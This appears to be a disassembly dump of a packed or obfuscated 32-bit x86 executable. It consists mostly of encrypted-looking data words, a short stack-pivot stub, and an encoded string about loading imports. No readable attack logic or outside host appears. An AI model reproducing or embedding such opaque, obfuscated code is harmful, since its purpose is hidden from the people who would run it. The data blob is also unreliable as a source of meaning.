		dd 21848132h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
		dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 3BFDA245h
		dd 0B91DC995h, 4919197h, 4A38F2DEh, 2851A245h, 0E1AD5A8h
		dd 0A851A25Eh, 8A1523EDh, 2DA05545h, 86902586h,	2851A245h
		dd 4B7332A3h, 2337AA8Eh, 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h
		dd 0A0936BB9h, 669E7F54h, 0C8AD66C6h, 11D5FDFh,	0ED96AE38h
		dd 8A152AA8h, 69C20E45h, 582622B7h, 22FD6276h, 8AD5078Ch
		dd 54D1A245h, 939125ABh, 1151A245h, 8A152A5Dh, 7AD453B2h
		dd 8A1FAF5Bh, 10E0A245h, 4B93E256h, 39191EFh, 319577Fh
		dd 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h
		dd 4D1957DFh, 0A8515E00h, 0B92A54h, 0A7B2229Dh,	85E1D4h
		dd 22DC0886h, 8C5B9DECh, 0F8E173BAh, 329FA7FEh,	5757ECF2h
		dd 20D6A085h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
		dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 0AFE9A245h
		dd 75152A54h, 0E05D43D7h, 20452652h, 1FE928C8h,	5BEA2C1Ah
		dd 9BFB2BF5h, 85318694h, 0AC59622Eh, 0AEA58050h, 0A42C89EFh
		dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 0FF9E4AA8h
		dd 0A42C294Dh, 8AE96F93h, 451A245h, 0A387D5FEh,	2357EA55h
		dd 4917868Ch, 10DB2FEFh, 751364E3h, 28E9C494h, 0BE4CBDh
		dd 0D57A0886h, 7668A358h, 54142924h, 8A1DE89Dh,	2BBD2910h
		dd 175D690h, 0D5DAAA30h, 7650ED58h, 0A851A245h,	18EA80F8h
		dd 0AE19B26Ch, 58B9E2DFh, 32DC0885h, 8C5B9DECh,	103771BAh
		dd 2173E394h, 83FB63CFh, 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h
		dd 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h
		dd 75BF8654h, 0E0418BD7h, 26DDA152h, 25FB6377h,	0C4A292CEh
		dd 0CE825D43h, 0ECE4AAECh, 29028EEh, 319577Fh, 23305E38h
		dd 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h,	4D1957DFh
		dd 0A8515E00h, 32732A54h, 3376B77h, 3DADB0D9h, 7BAEA40Bh
		dd 4B959232h, 4FD0923h,	866801FEh, 0C9ADDFCCh, 43E96FDFh
		dd 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h
		dd 0EC152A54h, 0CEB824FDh, 328FA7FFh, 5757ECF2h, 20A09A87h
		dd 25FB0E03h, 0C4A292CEh, 0CE825D43h, 0ECD8ACECh, 0A42C89EEh
		dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h
		dd 0F251A245h, 5507C0D5h, 0ED96A40Bh, 8A152AA8h, 0A0242945h
		dd 261957DFh, 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h
		dd 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h
		dd 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh,	8660D554h
		dd 2559D7BAh, 0C4CF6DCEh, 32DCF143h, 8C5BF14Ah,	0EDD871BAh
		dd 8A42C3A8h, 0DDAEA245h, 8260D558h, 720638C8h,	7462C1Ah
		dd 0E68ABCDFh, 3C6D552h, 92B85E00h, 75152A54h, 0DDAEAE30h
		dd 0E98FA75Ch, 0FB57EC9Fh, 510BB0D9h, 7BAEA40Bh, 63E96FDDh
		dd 0A851A258h, 75195FABh, 32DCAA30h, 8C5BF03Bh,	0B6CB2F16h
		dd 7513648Fh, 54142B96h, 8A152ABDh, 0EDDAC345h,	82D7E3A8h
		dd 3044BA45h, 8D8D0000h, 64EE09Ah, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 79C35646h, 77BAD763h, 0B2D9A4AEh
		dd 2EE9958Bh, 8D890648h, 6481405h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0F9C35141h,	81850157h, 5B064813h
		dd 1879BD89h, 85C70648h, 6483025h, 5D04h, 0F6F08166h, 0D985C78Eh
		dd 6482Ah, 0B3000000h, 3DB5FF97h, 60064828h, 663BEB80h
		dd 612D91BFh, 0E7195FFh, 0AE80648h, 1C000000h, 66CED5D2h
		dd 0D3BAFB71h, 11E9F5h,	0E0AC0000h, 1E860064h, 0FB0CC3ADh
		dd 7D4656F7h, 5A5AE4C8h, 95FF006Ah, 648092Dh, 3DEBC08Bh
		dd 75EAA7F8h, 79DCA871h, 0B92B255Dh, 42C90DDAh,	2C914278h
		dd 0EA0A34F4h, 0B1084A1Ah, 0E747BEAEh, 5C5462A8h, 0F51E9EBBh
		dd 9A2E821Eh, 44357E45h, 0A24008F3h, 7DB86224h,	0F86F09DAh
		dd 0B38D8DDBh, 0E9064EE1h, 10h,	0C0B794E2h, 44B7788Dh
		dd 347FAB75h, 0A9B64757h, 14058D89h, 8B660648h,	2585C7D3h
		dd 0C8064830h, 0E800006Ah, 0Bh,	97BD349Dh, 0E29511FFh
		dd 8BCC864Eh, 4814DDB5h, 8D295A06h, 6481CB9h, 2AD985C7h
		dd 648h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 170424h, 55450000h, 0CEFC93C3h, 8B58506Fh, 4814B19Dh
		dd 25B5FF06h, 6A06480Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 99C5C356h, 55631758h
		dd 23398589h, 95FF0648h, 6480E71h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0F2C35141h,	0C4120BB4h, 0FF006A10h
		dd 48092D95h, 0EBC08B06h, 0D4D1532Bh, 58598C97h, 0E38159D7h
		dd 30DC514Dh, 0DB26B1F0h, 294AC524h, 93E826ECh,	0EF9D430Bh
		dd 9252C9FDh
		dd 4A992794h, 9D86D175h, 0D2E9h, 0CDC46D00h, 7471F3AFh
		dd 0F8E77814h, 6D640C98h, 1217930Fh, 3C046D76h,	0C7D3B1B0h
		dd 48442421h, 0D2CEAAADh, 9D365251h, 13F4B40Ah,	7EC07C73h
		dd 0E4FD85A5h, 15690097h, 76243253h, 18B00661h,	9FFDF47Ch
		dd 243282C1h, 0A8E08C76h, 1E267666h, 4F7623EEh,	0EDA2E6B8h
		dd 412E7623h, 0F85E53D3h, 65CE7CDAh, 0FE922976h, 6E0F7C73h
		dd 0E28D7830h, 8BCDA175h, 5975E28Dh, 0ED45225Eh, 15CFh
		dd 0E9804400h, 2432D395h, 3E90E176h, 7624327Ah,	12B83946h
		dd 0FC85D942h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh
		dd 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h, 68B9BFCCh
		dd 64EE1E8h, 0F99BC8E9h, 74D684FFh, 0FA271F17h,	83B9A2BFh
		dd 0B88B4823h, 64EE2A2h, 4EBC503h, 3236BDDFh, 0D2FE9h
		dd 0E4AE6800h, 9EE9064Eh, 68FFF99Bh, 64EE5B4h, 0F99B94E9h
		dd 0E6A268FFh, 8AE9064Eh, 68FFF99Bh, 64EE732h, 0F99B80E9h
		dd 0EA8C68FFh, 76E9064Eh, 68FFF99Bh, 64EED69h, 0F99B6CE9h
		dd 0EE8868FFh, 62E9064Eh, 97FFF99Bh, 257113EEh,	0A2FE9A9Fh
		dd 36620E1Dh, 0C5D1B38Eh, 3B583839h, 0C3C6625Ah, 7653F5A1h
		dd 0FCF37E2Ah, 6463009Ch, 66384F04h, 7C731622h,	858F18AEh
		dd 0FC8BF8F9h, 6DC5C460h, 630100ADh, 0FB6A300Bh, 6BC3DE61h
		dd 129E13AAh, 6DC12625h, 402DAB03h, 0A47C6C88h,	581CAADBh
		dd 0F37C6C33h, 77AC9847h, 0ADDBA913h, 27h, 0DC7EB9F6h
		dd 535C7549h, 0CFA87C6Ch, 526420BEh, 73EF7C6Ch,	27CF618Ch
		dd 0F65C5D2Ah, 0A92E3DE6h, 7E7DBh, 673C0000h, 8C5h, 0B0E980FCh
		dd 95D5889Fh, 41075700h, 887624CAh, 56725846h, 9D1A9666h
		dd 0C8DE6535h, 0DEAF2C2Bh, 462221C2h, 98335A4Fh, 4D9C7B41h
		dd 6C2E09E5h, 4078A5F9h, 36C7C6Dh, 1BA0E472h, 3FAB7C6Dh
		dd 0FBBF6440h, 902CDBA9h, 2E6FE70Eh, 62C36285h,	790494E5h
		dd 8D51F966h, 38h, 0ABB648E4h, 7EB96003h, 647549DCh, 0B07C6C40h
		dd 20CC60F7h, 0FB535021h, 40266EFCh, 0D7527C6Ch, 4ED1A3D0h
		dd 530F2253h, 8BA57ECh,	38E7553h, 0BE54DBA9h, 0CF000000h
		dd 40FFE85h, 2E863078h,	56D7B255h, 0BC3D38BAh, 3031BDCFh
		dd 0B7B23143h, 0A09AAC6h, 0A094F06Eh, 63007624h, 0EB880464h
		dd 6319FECh, 70FDD144h,	0B47C6CC9h, 0F6C1A9CBh,	712AC154h
		dd 699303Ah, 780D6A1Bh,	0F2585488h, 0B71A04E4h,	991BB582h
		dd 0FDBA369Ch, 412AD66Ah, 271A2B6Dh, 0DCDD5976h, 2642C3ACh
		dd 74CBCE6Ah, 129DDC9Eh, 0A547F7A8h, 2B00000Ah,	0B9D5B78Ah
		dd 46523E3Bh, 0CAC6A2A1h, 5935572Ah, 97BCDCDDh,	677A063Eh
		dd 0EAF78905h, 9097128Eh, 181FA4F0h, 0FAD4EB78h, 7C7316BEh
		dd 85D3B40Ah, 0D66DF8F9h, 6FCB49DDh, 0A9F9F1E7h, 7624D8EFh
		dd 8C1CB2FDh, 0F4949310h, 0DC7EB96Fh, 360BB749h, 3923879h
		dd 6C401EABh, 0DCADCA7Ch, 6C40460Eh, 0EA510D7Ch, 96D2AC43h
		dd 227C6C3Fh, 0F6EFC2B1h, 941505D3h, 9C75AE3Eh,	0C7AFDBA9h
		dd 0F4000000h, 8AFBFE85h, 0F1CD64FBh, 762432B7h, 6C2C7A05h
		dd 78762432h, 7FFB973Fh, 0D7BD0D7Ah, 0CD762437h, 50412326h
		dd 2B290D5Bh, 0BA1015D0h, 0BB4D55DEh, 1AB621AEh, 8FEC9D98h
		dd 0FBC48827h, 0BDCDC651h, 6D5FBF1h, 3FD6BF17h,	0FBBD11A8h
		dd 0C97624C3h, 0C3B8F0AEh, 7B047624h, 0ED7885D3h, 0C3AC7C6Ch
		dd 3F3AB854h, 98A30B97h, 9C0B63F2h, 0CC82B78Ch,	1C9834A3h
		dd 87237F1Dh, 0A9CD3B82h, 34EB129Eh, 99F86h, 0B1B03100h
		dd 383DC7D3h, 0ACBB4C58h, 5150D0CCh, 0C6DB6733h, 3899BAh
		dd 8B076564h, 1C88E8F5h, 0A6F29E91h, 0E97A061Dh, 17C0F8D6h
		dd 0BA0C7C73h, 0EBF985E9h, 0A8C84954h, 0C6DB67F9h, 403A070h
		dd 0FE85DF64h, 0CE030B0Fh, 515E2F22h, 3119AF24h, 32B1C3B0h
		dd 0C7655537h, 0E60142Fh, 7624B14Ah, 0B05D1B73h, 0C6B7624h
		dd 23B2337Ch, 6CC1024Bh, 0BB59267Ch, 31D4462Dh,	73457E26h
		dd 550E70EAh, 0F2B76355h, 0D6057C09h, 0FFCF46C7h, 2BFA1E5Eh
		dd 292ABD4Fh, 0EA1E1355h, 59C6A11Fh, 47015D28h,	951FEA1Eh
		dd 0B5C56DEAh, 24C15BCAh, 0AEEE8D25h, 0E60F795h, 26359DA6h
		dd 0FAFF8517h, 7F72FF8Dh, 5F5858FEh, 0C49A31C8h, 25B2C684h
		dd 473433B0h, 852D4A26h, 217D6E15h, 25B2C667h, 0EF8D0A75h
		dd 8A3530B3h, 63122F34h, 0B11D8D02h, 27000008h,	0B5E1839Eh
		dd 326E0A0Fh, 0C6D2BEADh, 5541233Eh, 0ABC8A8A9h, 7376F2CAh
		dd 0E6E38511h, 6C630E9Ah, 1413900Ch, 0F6C8DF74h, 7C7318B2h
		dd 85FFA83Eh, 0C28AFBFEh, 0EAC453F9h, 7C6C446Bh, 8B25B0FFh
		dd 1D89EBEEh, 52E09190h, 7C6C4416h, 0B0EB547h, 0C7953D7Ah
		dd 7C6C537Dh, 77EEAC97h, 0B446A227h, 9834CB82h,	16E1F1Ah
		dd 24451751h, 4EDAA576h, 6A06ACA3h, 92297C0Dh, 24447C3Ch
		dd 872F4876h, 0D26D680Bh, 12A0B0E2h, 21BB2BE4h,	0B7000008h
		dd 4551330Eh, 0C2DEBABFh, 56422E3Dh, 0E5B1D3AEh, 1B385859h
		dd 0E3E682BAh, 96731581h, 1C139E0Ah, 8483207Ch,	6586FE4h
		dd 7C731A42h, 0B96F388Eh, 2A27CF7Eh, 65643AADh,	0F17C6C46h
		dd 9ABF9B6h, 0B2306C0Ch, 0AB96C6B7h, 0B057EE9h,	58B429B2h
		dd 0A7F79E34h, 7C6C7219h, 3CDBA8D7h, 991BC1BEh,	1C72099Ch
		dd 7C6C715Ch, 0C6980F68h, 7C6C7182h, 0F989214Eh, 6C72256Fh
		dd 0B0526F7Ch, 72334925h, 0B6F17C6Ch, 17F46A1Fh, 55729300h
		dd 33B1EDFDh, 660D9F36h, 7951263h, 0A3D0667Bh, 6C584913h
		dd 0FEF37F7Ch, 7570F381h, 53F56704h, 0D6983976h, 5B5D069h
		dd 15109246h, 70570982h, 0EE78DE9Dh, 0C66C3848h, 0B024B2C3h
		dd 0C47C6C51h, 0DD4CCF3Eh, 0FDBCEB68h, 0EA7D0F7Ch, 0A7F78EFFh
		dd 7C6D0DE1h, 75E580EFh, 0A41671B6h, 0A1B73DE7h, 24740504h
		dd 99068782h, 0FAA693FBh, 6D0DE4A4h, 36B7F07Ch,	0D86CF9Fh
		dd 55527C6Dh, 8C832EC2h, 0E4398926h, 0C0F0CE71h, 4652233Eh
		dd 0A8C9A6BDh, 0CEBFBA38h, 0B34837EBh, 93FEC5Eh, 0AFC8AD12h
		dd 1B8C8h, 7EB95300h, 57222128h, 44C56703h, 24643AD1h
		dd 0B7762464h, 1357A821h, 0D8A7D58Fh, 92CBA372h, 0B37C6C3Dh
		dd 3E06421Ch, 21D27C6Ch, 54515623h, 0BF17948Fh,	4FE17433h
		dd 0D7C3A1A4h, 0A5E4DD2Ch, 0E352E110h, 77F4F571h, 337549E0h
		dd 817C6C78h, 591F6FE6h, 677C6C77h, 0B505B218h,	3B32351h
		dd 0D5A2BF47h, 0AB393CC7h, 47F0C09h, 0F930C9B6h, 0ED965A01h
		dd 951E8A16h, 0FA96E19Eh, 6A0B787Fh, 0B74D68C4h, 8520BCD5h
		dd 1EB4F582h, 8EFFF272h, 4A0E60F7h, 96F73321h, 52D141E9h
		dd 0DA593557h, 0A2D7AEDFh, 96779A41h, 1D67A2B6h, 501A908Dh
		dd 0E95D7BD3h, 0C669BD65h, 0E68D5714h, 81DD74E3h, 69A8FAC7h
		dd 0A4C46A15h, 3F4C4BE8h, 37AE6451h, 0A8FB2167h, 53D3AF69h
		dd 213CC25Eh, 3FD1C0A0h, 7B17BFB2h, 0D46BFAFFh,	0A8FABEFAh
		dd 0C56D0A69h, 39DBE6B6h, 0FA9CD0AEh, 4F2869A8h, 0F7F2712Dh
		dd 4B4EEA86h, 54C45DCh,	469033FAh, 84460250h, 159269A8h
		dd 97E4E187h, 94334016h, 30B37926h, 0B83B5735h,	0B580CCBDh
		dd 52F4881Fh, 1F6F0677h, 69A88359h, 0EE9B1867h,	610482F0h
		dd 4ACB6346h, 0A8843C74h, 8DEF8869h, 0E6979211h, 7DE8EF8Ah
		dd 0E84E43E3h, 65DA90CBh, 0A63134BFh, 83F9BF0Fh, 0B8C769A8h
		dd 991A7612h, 0BCAED6Eh, 0C9765276h, 2BE9D4B8h,	77B2E2BCh
		dd 592669A8h, 0E7316A3Bh, 0D99FEFD3h, 0E769A8F6h, 0C305EF98h
		dd 6A36FC7h, 8C237203h,	217170F0h, 69A90767h, 0C8A40A75h
		dd 2CC057EDh, 70258D84h, 0A9076A1Eh, 4F1F7669h,	69A90809h
		dd 492BA8D7h, 0EDFE85AAh, 2432D791h, 1D9AE576h,	66241F7Fh
		dd 3C129FEFh, 0A13B7C6Ch, 0F900001h, 0AC026310h, 58F4630Ch
		dd 0E2BEDADDh, 5D334047h, 512DB862h, 82B44DD4h,	0D8760760h
		dd 76245A9Ch, 9012CBF4h, 1587E495h, 9C1D6A6Fh, 7213881Fh
		dd 8938864Dh, 8925377Ch, 6A505AFCh, 7C7D51C4h, 0C87C6C8Dh
		dd 21C2DEAFh, 6F0F9B22h, 76290C58h, 4C7F8h, 69680900h
		dd 10159F0Bh, 84832470h, 908A8E4h, 0BEB33F6Bh, 0D8E0B1D2h
		dd 633F5D5Ch, 0F4A0C0DDh, 7E2A7649h, 0C192FEF5h, 1C98D0AEh
		dd 82247C73h, 0DC7EB901h, 3411B749h, 444D2647h,	71EE704Eh
		dd 26BD58FEh, 43EBEE8Ah, 6C893415h, 70E7807Ch, 2E5F4ADCh
		dd 7CCAE941h, 7C6C4939h, 5FE17B12h, 0DE743542h,	12093FECh
		dd 0C8DBA904h, 93h, 332D4753h, 0CF087624h, 315356DDh, 2EB95B59h
		dd 24332050h, 0AB74976h, 330B4D21h, 0DED97624h,	0C9B72051h
		dd 32EEEF95h, 0D9D971FEh, 0A95247DEh, 0F7C0CF16h, 0DB0609F4h
		dd 466986AEh, 32B1C3F0h, 610CA037h, 7271F26Eh, 3BD5CCDCh
		dd 0ADCABBBEh, 0C98BA905h, 6150005Eh, 139C7624h, 966D1662h
		dd 0FC96A20Ah, 606F1569h, 3A457624h, 0A0B7FD4Dh, 5A187624h
		dd 9F3503E5h, 53DF7108h, 0EA40215Eh, 24A0C8ECh,	0F1931C76h
		dd 0E447h, 11922E00h, 0B92BBC12h, 5049DC7Eh, 0DEEDA3C7h
		dd 7277FD82h, 4FE76405h, 5AF1E8C6h, 4987C6Ch, 6B087978h
		dd 5DC8B7C3h, 0AC333DC3h, 224330B1h, 0B9DEF8Ch,	0E16E7B0Dh
		dd 0E1991283h, 79FE17C8h, 0AD9468CEh, 662678EFh, 627C6C50h
		dd 9DE67405h, 4A7C6C50h, 1E052398h, 0C42456F3h,	85h, 0C413F4ADh
		dd 2220A221h, 47340BB6h, 0B9F79026h, 734BDA80h,	76243335h
		dd 597E483h, 8B1A6663h,	32DE9AF4h, 680A7624h, 0ED9F1C6Dh
		dd 69502C82h, 0E49D34A3h, 9224DE10h, 0DEFC52CDh, 7624FCE6h
		dd 31443572h, 0B911149Fh, 253C591Bh, 0F3E58F76h, 82F3706Dh
		dd 0CABD4CF6h, 0D934EE4Eh, 734637B4h, 6C0BC0BFh, 0EED731EEh
		dd 0EFE5B92Ch, 657624F1h, 9AF48B1Ah, 7624F1DEh,	441A8DEAh
		dd 7624F204h, 637FD7D0h, 0FBFE85C0h, 0E186FB8Ah, 0FF7C1714h
		dd 1E7BDAB8h, 66E78EE5h, 0A4A340D0h, 1D089F31h,	1BA70F6Ch
		dd 0FAD488B3h, 76243BBEh, 0FFF27E0Ah, 866F17Eh,	7C6C4EE5h
		dd 5DEF6601h, 7D7AD0D1h, 6C4DA7EDh, 4B30A27Ch, 0A909A65Dh
		dd 2C7CDBh, 0B9A70000h,	7549DC7Eh, 7C6C4064h, 3D38BB55h
		dd 0ED9AE595h, 6C40175Dh, 0C15B327Ch, 5455223Fh, 291FCCFEh
		dd 0DBA903F2h, 0BE28h, 0FE857300h, 0F9D56CFBh, 762432BFh
		dd 15D6960Dh, 146CD4E2h, 0E0B03F97h, 64344544h,	0D9ABD8DFh
		dd 34C85F5Ah, 0F0924093h, 572C3A6h, 20B6F784h, 5C6ED680h
		dd 0D95A7624h, 50E7BEDAh, 24543A7Eh, 51F98676h,	562722C1h
		dd 89F3D06h, 6C83E7B6h,	1C72037Ch, 7C6C405Ch, 0E28E0F68h
		dd 7CEBB18Ah, 0B6E52D22h, 42E1BD82h, 0BD4FC647h, 44503031h
		dd 99DFAFB8h, 277626DCh, 7C64DB58h, 4A129E19h, 1EA25D5h
		dd 45EC0000h, 0F0722E4Ah, 64FB97F5h, 0E78F1B79h, 96128EEAh
		dd 85D2F193h, 503031BDh, 0C5A7A244h, 4F2D2CC9h,	0B7D5D053h
		dd 7335891Ch, 417C731Fh, 0F98524FFh, 670C98F8h,	0B9630060h
		dd 7549DC7Eh, 7C6C4064h, 2B60F7B0h, 6FDF8799h, 0DAD9713Eh
		dd 6C8C480Ch, 0F58C037Ch, 6C8BDF99h, 1391ED7Ch,	9B189916h
		dd 0E2C2B933h, 0DBA95739h, 0E9E3h, 0FE853800h, 54D06CFBh
		dd 0EF472455h, 0C134B0C0h, 283905FBh, 4A3BB8C6h, 8E61463Bh
		dd 3B5F1975h, 26D7624h,	49D17771h, 0FD91F3E1h, 7C077624h
		dd 757EE79h, 7624F541h,	0B0C1C46Fh, 8DE681F3h, 0A12F8509h
		dd 0FF8B23E2h, 740500A3h, 0EA7D1F18h, 6D17C994h, 0F6921D7Ch
		dd 47D6EA9Fh, 82EAAE00h, 89F67C6Ch, 18C0FCh, 0BC121590h
		dd 0A235D7E0h, 0B752F4CCh, 0E0773082h, 0FA7B5049h, 6D6C69B9h
		dd 265D5711h, 9D1A6576h, 0D8D96535h, 7C52E9B8h,	76265E3Ch
		dd 0CB47EF88h, 0ABBC392Fh, 265D95D3h, 0C7442376h, 96EFE746h
		dd 26D9129Eh, 0CBA8h, 6D640D00h, 1411930Fh, 98871874h
		dd 0D04ACF8h, 0B2B7336Fh, 0DCE4CDD6h, 67335150h, 0E8A4C4C1h
		dd 722E4A4Dh, 3D96F2F1h, 2094D4AAh, 9E207C73h, 0F8F98505h
		dd 60670C98h, 0FE856300h, 3D4A4DE8h, 4F5AEC7Ch,	83F0713Eh
		dd 0DDDC58F4h, 1B1EA575h, 64261179h, 159A9DF1h,	412E7C73h
		dd 0C4C36030h, 0A4E4BA51h, 0D57C7314h, 7314BFF9h, 16620D7Ch
		dd 0F5A1C169h, 0AC3A4B4Eh, 0B0EB629Fh, 780914ABh, 169E8C28h
		dd 8C0D6A1Bh, 493684FFh, 0DA8179B0h, 66227C13h,	72A85AE1h
		dd 0DF3099C1h, 8300E0C0h, 0C1C46F2Bh, 494CF7A3h, 0C9C86838h
		dd 2027C25Eh, 0E86AED8Ah, 4F4AE933h, 0F7F2712Dh, 0A0886h
		dd 0E37D0000h, 70314E43h, 0DA41C9DAh, 94E5FC85h, 0B787F04h
		dd 8CFDFC79h, 0E7F6AFCh, 82F3F672h, 6774AF6h, 86F7CA6Ah
		dd 397655EAh, 0BFCCC96Bh, 0E78957B9h, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 68241C89h, 60EDh, 68240489h, 42C3h, 68241C89h
		dd 64EE312h, 8124048Bh,	4C4h, 4EC8100h,	89000000h, 4832424h
		dd 815B0424h, 4ECh, 24048900h, 8B08438Fh, 8956241Ch, 4C681E6h
		dd 83000000h, 348704C6h, 48B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_541331
; ---------------------------------------------------------------------------
		db 0F6h, 7Fh, 0A9h
		dd 0F9AD2C18h, 4EEF78B8h, 0FFC50306h, 80EDE0h, 0C841A14Dh
		dd 0F69FE352h, 0A92F2D2Ah, 9B24840Eh, 3787C221h, 0E2CCF306h
		dd 197C4E14h, 0F066565h, 0E06F274Fh, 0D30E403Dh, 7632CB2Eh
		dd 31AE142Fh, 0B8996C32h, 0AA6C9143h, 225A1604h, 0BFBA0104h
		dd 976CF053h, 6071786Bh, 0AEA10070h, 96734A12h,	8B518674h
		dd 5B8B8062h, 0E8229B22h, 32CCE612h, 11E829h, 856F0000h
		dd 0A8C5525Ah, 4F764AD0h, 925D145Ah, 0F3C6A25h,	589h, 0E0816600h
		dd 0F5B3FC7h, 1D88h, 8D0F6000h,	0
		dd 10E9h, 878F4A00h, 8093CF87h,	4F5AC06Eh, 0F83BEDFEh
		dd 0C3816197h, 63C9h, 11E952h, 198F0000h, 0DC76D9B0h, 2C77480Fh
		dd 0ED3198A2h, 5ABE0284h, 0AE9F62Bh, 7D000000h,	27265515h
		dd 36162C4Bh, 333C8B5Bh, 81D1BF0Fh, 6EF84DEFh, 81D78A14h
		dd 1FACACF7h, 0E3C7814Fh, 8178E45Eh, 110377E0h,	333C8964h
		dd 0BAD38B66h, 3657F90Bh, 0E902EE83h, 0Fh, 164C77E8h, 8AD06816h
		dd 0C5615E6Dh, 4E44C325h, 0E7C9804Eh, 9CF8FE81h, 850FFFFFh
		dd 0FFFFFFADh, 8DC3B70Fh, 4EF1FB8Dh, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0EDF0BCAEh
		dd 92B5920Dh, 5057910Dh, 0F4CCDB81h, 5A5B47BFh,	14058D89h
		dd 11E90648h, 86000000h, 10B81F42h, 7CC1F0A0h, 0F5561425h
		dd 0F8051CE6h, 302585C7h, 59EC0648h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6AFD56C3h
		dd 0DE29FCE4h, 2AD985C7h, 648h,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 22C58CC3h
		dd 893B3C68h, 99B5FFF8h, 8B06480Ch, 481C0D95h, 7195FF06h
		dd 2B06480Eh, 48012DBDh, 0FF006A06h, 48092D95h,	0EBC08B06h
		dd 0BB8F4E5Ch, 0AAF12583h, 9FD08338h, 9CF7D77h,	0BEED93CAh
		dd 59F5EB04h, 56B66A17h, 0D7A8E2B7h, 0B57BE0A9h, 0BBBC2781h
		dd 1329FB3Eh, 0C587BD24h, 272BDBCBh, 58B449B6h,	31165E8h
		dd 0AA18874Ah, 7B8B8C29h, 0FC0ADE76h, 0C0D54497h, 0CBAC557Bh
		dd 721D8F40h, 0E1B23C91h, 80152623h, 127E950h, 5B500000h
		dd 0EFAC7376h, 154Eh, 6E410000h, 72724520h, 6820726Fh
		dd 6F207361h, 72727563h, 77206465h, 656C6968h, 616F6C20h
		dd 676E6964h, 706D6920h, 7374726Fh, 0E7AC3700h,	0E75CEB77h
		dd 0E73C4977h, 0F7E21F77h, 0F7E30077h, 0E6000077h, 777h
		dd 5 dup(0)
		dd 0E7A5FD00h, 77h, 2Bh	dup(0)
		dd 600h, 6E14800h, 921DF4C7h, 96A6CF63h, 5D74BB8Fh, 1C131134h
		dd 185335B1h, 6166427Ah, 9E35722Bh, 1177A9F2h, 90EF8832h
		dd 132E6D8Bh, 0B102BFBFh, 0C6991778h, 0A8E5D069h, 132E4907h
		dd 45715632h, 1177A961h, 90EF8832h, 132E6D8Bh, 0B435BFBFh
		dd 0C6991778h, 0D5EDD069h, 0E7D6F9B1h, 1A66247Ch, 156601B6h
		dd 33E30532h, 0EA600A8Eh, 43E3AFE2h, 0EA605F8Eh, 0ECE34EE2h
		dd 43600C3Dh, 0BDDE705Ah, 0BCD3EEAEh, 9860C01Bh, 5E1924B7h
		dd 9CB6DD34h, 5D7370B7h, 95E30534h, 45600AC1h, 0E707A7BFh
		dd 0EA36177Ch, 5D5629A7h, 0D0E38334h, 15606A3Fh, 0D3661132h
		dd 5D6971B7h, 7C0E0134h, 0EAE8505Bh, 5D68C487h,	0AFE30534h
		dd 0EA600C0Ah, 98E3ABE2h, 0D3605920h, 5D6971B7h, 4B0E0734h
		dd 0EAFA4559h, 5D68C487h, 0AFE30534h, 0EA600C0Ah, 8DE3ABE2h
		dd 0D3605FC0h, 5D6971B7h, 3C0E1034h, 0EA88405Ah, 5D68C487h
		dd 0AFE30534h, 0EA600C0Ah, 89E3ABE2h, 0D3605FC0h, 5D6971B7h
		dd 0D70E0134h, 0EABC420Ah, 5D68C487h, 0AFE30534h, 0EA600C0Ah
		dd 0B5E3ABE2h, 96605FC0h, 5D566D8Fh, 90694434h,	15662277h
		dd 1A9F94F4h, 7D238E7Ah, 0EF463AB4h, 1BB397CDh,	90EB177Ah
		dd 132EB088h, 90EF94CDh, 1328D096h, 1A9F94F4h, 7D2A8E7Ah
		dd 0F54094F1h, 1BB397CDh, 90EB177Ah, 132EB088h,	90EF94CDh
		dd 1328D09Ah, 156651DBh, 0ECE34E32h, 47600C3Dh,	5F822F5Ah
		dd 68D3EE8Eh, 9860C000h, 5D5EFEB7h, 9CB6DD34h, 5B94B5B7h
		dd 0ECE34E34h, 47600C3Dh, 592C6A5Ah, 68D3EE94h,	9860C000h
		dd 5D5EFEB7h, 9CB6DD34h, 5B94B9B7h, 0ECE34E34h,	47600C3Dh
		dd 57D2C85Ah, 0C0D3EECFh, 9860C03Ch, 5D5EFEB7h,	9CB6DD34h
		dd 5D56A8B7h, 0ECE34E34h, 62600C3Dh, 82CE815Ah,	38D3EEC1h
		dd 9860C01Dh, 5D5EFEB7h, 9CB6DD34h, 5D6D18B7h, 0ECE34E34h
		dd 47600C3Dh, 0C857355Ah, 0C0D3EEB8h, 9860C03Ch, 5D5EFEB7h
		dd 9CB6DD34h, 5D6C64B7h, 0ECE34E34h, 43600C3Dh,	0A0B1B5Ah
